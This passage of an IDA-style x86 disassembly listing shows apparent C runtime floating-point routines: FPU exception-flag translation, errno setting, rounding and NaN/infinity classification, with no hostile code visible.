		or	eax, 0FFFFFFFFh
		jmp	short loc_4217D0
; ---------------------------------------------------------------------------


loc_4217CD:				; CODE XREF: sub_420DB0+A0Aj
		mov	eax, [ebp+var_34]


loc_4217D0:				; CODE XREF: sub_420DB0+A11j
					; sub_420DB0+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420DB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4217D5	proc near		; CODE XREF: sub_420DB0+7A3p
					; sub_420DB0+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		push	esi
		jle	short loc_4217EF
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4217FE
; ---------------------------------------------------------------------------


loc_4217EF:				; CODE XREF: sub_4217D5+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_4217FE:				; CODE XREF: sub_4217D5+18j
		test	eax, eax
		jnz	short loc_421808
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_421808:				; CODE XREF: sub_4217D5+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_4217D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42180C	proc near		; CODE XREF: sub_420DB0+1E1p
					; sub_420DB0+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_42181E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_42181E:				; CODE XREF: sub_42180C+7j
		push	edx
		call	sub_41F8E3
		pop	ecx
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421826	proc near		; CODE XREF: sub_420DB0+6Bp
					; sub_420DB0+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_42183C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4247BF
		pop	ecx
		pop	ecx

locret_42183C:				; CODE XREF: sub_421826+5j
		retn
sub_421826	endp


; =============== S U B	R O U T	I N E =======================================



sub_42183D	proc near		; CODE XREF: sub_420DB0+63p
					; sub_420DB0+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_421843:				; CODE XREF: sub_42183D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_42180C
		mov	edi, eax
		push	edi
		call	sub_41DF10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421843
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42183D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_421861(int,int,double,int)

sub_421861	proc near		; CODE XREF: sub_41D055+51p
					; sub_41D19B+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43D7F0, 0
		jnz	short loc_421896
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421E16
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421896:				; CODE XREF: sub_421861+Aj
		push	0FFFFh
		mov	dword_4DBDDC, 21h
		push	[ebp+arg_C]
		call	sub_422089
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_421861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4218B4(int,int,double,double,int)

sub_4218B4	proc near		; CODE XREF: sub_41D055:loc_41D118p
					; sub_41D19B:loc_41D25Ep

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_421BFF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4218F2
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_42194C
		add	esp, 18h


loc_4218F2:				; CODE XREF: sub_4218B4+1Aj
		push	[ebp+arg_0]
		call	sub_421EE9
		cmp	dword_43D7F0, 0
		pop	ecx
		jnz	short loc_421930
		test	eax, eax
		jz	short loc_421930
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421E16
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421930:				; CODE XREF: sub_4218B4+4Ej
					; sub_4218B4+52j
		push	eax
		call	sub_421E9E
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_422089
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_4218B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42194C	proc near		; CODE XREF: sub_4218B4+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_42197E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_42197E:				; CODE XREF: sub_42194C+23j
		test	cl, 2
		jz	short loc_421991
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_421991:				; CODE XREF: sub_42194C+35j
		test	cl, bl
		jz	short loc_4219A3
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_4219A3:				; CODE XREF: sub_42194C+47j
		test	cl, 4
		jz	short loc_4219B6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_4219B6:				; CODE XREF: sub_42194C+5Aj
		test	cl, 8
		jz	short loc_4219C9
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_4219C9:				; CODE XREF: sub_42194C+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_42206C
		test	al, bl
		jz	short loc_421A52
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_421A52:				; CODE XREF: sub_42194C+FDj
		test	al, 4
		jz	short loc_421A5D
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_421A5D:				; CODE XREF: sub_42194C+108j
		test	al, 8
		jz	short loc_421A68
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_421A68:				; CODE XREF: sub_42194C+113j
		test	al, 10h
		jz	short loc_421A72
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_421A72:				; CODE XREF: sub_42194C+11Ej
		test	al, 20h
		jz	short loc_421A7C
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_421A7C:				; CODE XREF: sub_42194C+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_421ABB
		cmp	eax, 400h
		jz	short loc_421AAD
		cmp	eax, 800h
		jz	short loc_421AA1
		cmp	eax, ecx
		jnz	short loc_421AC1
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421AA1:				; CODE XREF: sub_42194C+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421AB7
; ---------------------------------------------------------------------------


loc_421AAD:				; CODE XREF: sub_42194C+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421AB7:				; CODE XREF: sub_42194C+15Fj
		mov	[eax], ecx
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421ABB:				; CODE XREF: sub_42194C+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421AC1:				; CODE XREF: sub_42194C+14Bj
					; sub_42194C+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_421AEC
		cmp	eax, 200h
		jz	short loc_421ADF
		cmp	eax, ecx
		jnz	short loc_421AF9
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421AF9
; ---------------------------------------------------------------------------


loc_421ADF:				; CODE XREF: sub_42194C+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421AF7
; ---------------------------------------------------------------------------


loc_421AEC:				; CODE XREF: sub_42194C+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421AF7:				; CODE XREF: sub_42194C+19Ej
		mov	[eax], ecx


loc_421AF9:				; CODE XREF: sub_42194C+189j
					; sub_42194C+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_42207A
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	near ptr 26604F6h
		nop
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_421B73
		and	dword ptr [esi], 0FFFFFFFEh


loc_421B73:				; CODE XREF: sub_42194C+222j
		test	byte ptr [eax+8], 8
		jz	short loc_421B7C
		and	dword ptr [esi], 0FFFFFFFBh


loc_421B7C:				; CODE XREF: sub_42194C+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_421B85
		and	dword ptr [esi], 0FFFFFFF7h


loc_421B85:				; CODE XREF: sub_42194C+234j
		test	byte ptr [eax+8], 2
		jz	short loc_421B8E
		and	dword ptr [esi], 0FFFFFFEFh


loc_421B8E:				; CODE XREF: sub_42194C+23Dj
		test	[eax+8], bl
		jz	short loc_421B96
		and	dword ptr [esi], 0FFFFFFDFh


loc_421B96:				; CODE XREF: sub_42194C+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_421BCA
		dec	ecx
		jz	short loc_421BBE
		dec	ecx
		jz	short loc_421BB4
		dec	ecx
		jnz	short loc_421BCC
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BB4:				; CODE XREF: sub_42194C+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421BC6
; ---------------------------------------------------------------------------


loc_421BBE:				; CODE XREF: sub_42194C+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421BC6:				; CODE XREF: sub_42194C+270j
		mov	[esi], ecx
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BCA:				; CODE XREF: sub_42194C+257j
		and	[esi], edx


loc_421BCC:				; CODE XREF: sub_42194C+260j
					; sub_42194C+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_421BEC
		dec	ecx
		jz	short loc_421BE3
		dec	ecx
		jnz	short loc_421BF5
		and	[esi], edx
		jmp	short loc_421BF5
; ---------------------------------------------------------------------------


loc_421BE3:				; CODE XREF: sub_42194C+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421BF3
; ---------------------------------------------------------------------------


loc_421BEC:				; CODE XREF: sub_42194C+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421BF3:				; CODE XREF: sub_42194C+29Ej
		mov	[esi], ecx


loc_421BF5:				; CODE XREF: sub_42194C+291j
					; sub_42194C+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42194C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BFF	proc near		; CODE XREF: sub_4218B4+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_421C2A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_421C2A
		push	ebx
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C2A:				; CODE XREF: sub_421BFF+15j
					; sub_421BFF+1Aj
		test	al, 4
		jz	short loc_421C44
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_421C44
		push	4
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C44:				; CODE XREF: sub_421BFF+2Dj
					; sub_421BFF+33j
		test	al, bl
		jz	loc_421D1E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_421D1E
		push	8
		call	sub_4220AC
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421CF6
		cmp	ecx, 400h
		jz	short loc_421CCE
		cmp	ecx, 800h
		jz	short loc_421CA6
		cmp	ecx, eax
		jnz	loc_421D16
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D3F0
		fnstsw	ax
		sahf
		ja	short loc_421C9E
		fchs


loc_421C9E:				; CODE XREF: sub_421BFF+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CA6:				; CODE XREF: sub_421BFF+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CBE
		fld	dbl_43D3E0
		jmp	short loc_421CC6
; ---------------------------------------------------------------------------


loc_421CBE:				; CODE XREF: sub_421BFF+B5j
		fld	dbl_43D3F0
		fchs


loc_421CC6:				; CODE XREF: sub_421BFF+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CCE:				; CODE XREF: sub_421BFF+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CE6
		fld	dbl_43D3F0
		jmp	short loc_421CEE
; ---------------------------------------------------------------------------


loc_421CE6:				; CODE XREF: sub_421BFF+DDj
		fld	dbl_43D3E0
		fchs


loc_421CEE:				; CODE XREF: sub_421BFF+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CF6:				; CODE XREF: sub_421BFF+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D3E0
		fnstsw	ax
		sahf
		ja	short loc_421D0E
		fchs


loc_421D0E:				; CODE XREF: sub_421BFF+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421D14:				; CODE XREF: sub_421BFF+A5j
					; sub_421BFF+CDj ...
		fstp	qword ptr [ecx]


loc_421D16:				; CODE XREF: sub_421BFF+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421D1E:				; CODE XREF: sub_421BFF+47j
					; sub_421BFF+51j
		test	al, 2
		jz	loc_421DF4
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421DF4
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421D39
		mov	esi, ebx


loc_421D39:				; CODE XREF: sub_421BFF+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jz	loc_421DE2
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_421FAB
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_421D84
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421DD8
; ---------------------------------------------------------------------------


loc_421D84:				; CODE XREF: sub_421BFF+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jnb	short loc_421D96
		mov	edx, ebx
		jmp	short loc_421D98
; ---------------------------------------------------------------------------


loc_421D96:				; CODE XREF: sub_421BFF+191j
		xor	edx, edx


loc_421D98:				; CODE XREF: sub_421BFF+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_421DCC
		sub	eax, ecx


loc_421DAF:				; CODE XREF: sub_421BFF+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_421DBA
		test	esi, esi
		jnz	short loc_421DBA
		mov	esi, ebx


loc_421DBA:				; CODE XREF: sub_421BFF+1B3j
					; sub_421BFF+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421DC6
		or	byte ptr [ebp+var_C+3],	80h


loc_421DC6:				; CODE XREF: sub_421BFF+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_421DAF


loc_421DCC:				; CODE XREF: sub_421BFF+1ACj
		test	edx, edx
		jz	short loc_421DD8
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421DD8:				; CODE XREF: sub_421BFF+183j
					; sub_421BFF+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421DE4
; ---------------------------------------------------------------------------


loc_421DE2:				; CODE XREF: sub_421BFF+14Ej
		mov	esi, ebx


loc_421DE4:				; CODE XREF: sub_421BFF+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421DF1
		push	10h
		call	sub_4220AC
		pop	ecx


loc_421DF1:				; CODE XREF: sub_421BFF+1E8j
		and	edi, 0FFFFFFFDh


loc_421DF4:				; CODE XREF: sub_421BFF+26j
					; sub_421BFF+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_421E0B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_421E0B
		push	20h
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_421E0B:				; CODE XREF: sub_421BFF+1F9j
					; sub_421BFF+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_421BFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421E16(int,int,int,int,int,int,double,int)

sub_421E16	proc near		; CODE XREF: sub_421861+2Bp
					; sub_4218B4+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421EC4
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_421E81
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_422089
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42482D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421E7B
		push	esi
		call	sub_421E9E
		pop	ecx


loc_421E7B:				; CODE XREF: sub_421E16+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_421E81:				; CODE XREF: sub_421E16+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_422089
		push	[ebp+arg_0]
		call	sub_421E9E
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421E16	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E9E	proc near		; CODE XREF: sub_4218B4+7Dp
					; sub_421E16+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421EB9
		jle	short locret_421EC3
		cmp	eax, 3
		jg	short locret_421EC3
		mov	dword_4DBDDC, 22h
		retn
; ---------------------------------------------------------------------------


loc_421EB9:				; CODE XREF: sub_421E9E+7j
		mov	dword_4DBDDC, 21h

locret_421EC3:				; CODE XREF: sub_421E9E+9j
					; sub_421E9E+Ej
		retn
sub_421E9E	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EC4	proc near		; CODE XREF: sub_421E16+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43D308


loc_421ECB:				; CODE XREF: sub_421EC4+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421EE1
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43D3E0
		jl	short loc_421ECB
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421EE1:				; CODE XREF: sub_421EC4+Dj
		mov	eax, off_43D30C[ecx*8]
		retn
sub_421EC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EE9	proc near		; CODE XREF: sub_4218B4+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421EF5
		push	5
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EF5:				; CODE XREF: sub_421EE9+6j
		test	al, 8
		jz	short loc_421EFD
		push	1
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EFD:				; CODE XREF: sub_421EE9+Ej
		test	al, 4
		jz	short loc_421F05
		push	2
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421F05:				; CODE XREF: sub_421EE9+16j
		test	al, 1
		jz	short loc_421F0D
		push	3


loc_421F0B:				; CODE XREF: sub_421EE9+Aj
					; sub_421EE9+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421F0D:				; CODE XREF: sub_421EE9+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421EE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F16(double)

sub_421F16	proc near		; CODE XREF: sub_41D055:loc_41D0DBp
					; sub_41D19B:loc_41D221p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421F16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F28(double,int)

sub_421F28	proc near		; CODE XREF: sub_421FAB+82p
					; sub_421FAB+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F51	proc near		; CODE XREF: sub_41D055+31p
					; sub_41D19B+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_421F68
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	1
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F68:				; CODE XREF: sub_421F51+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_421F7A
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	2
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F7A:				; CODE XREF: sub_421F51+11j
					; sub_421F51+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_421F8D
		push	3
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F8D:				; CODE XREF: sub_421F51+36j
		cmp	cx, 7FF0h
		jnz	short loc_421FA7
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421FA2
		cmp	[ebp+arg_0], edx
		jz	short loc_421FA7


loc_421FA2:				; CODE XREF: sub_421F51+4Aj
		push	4


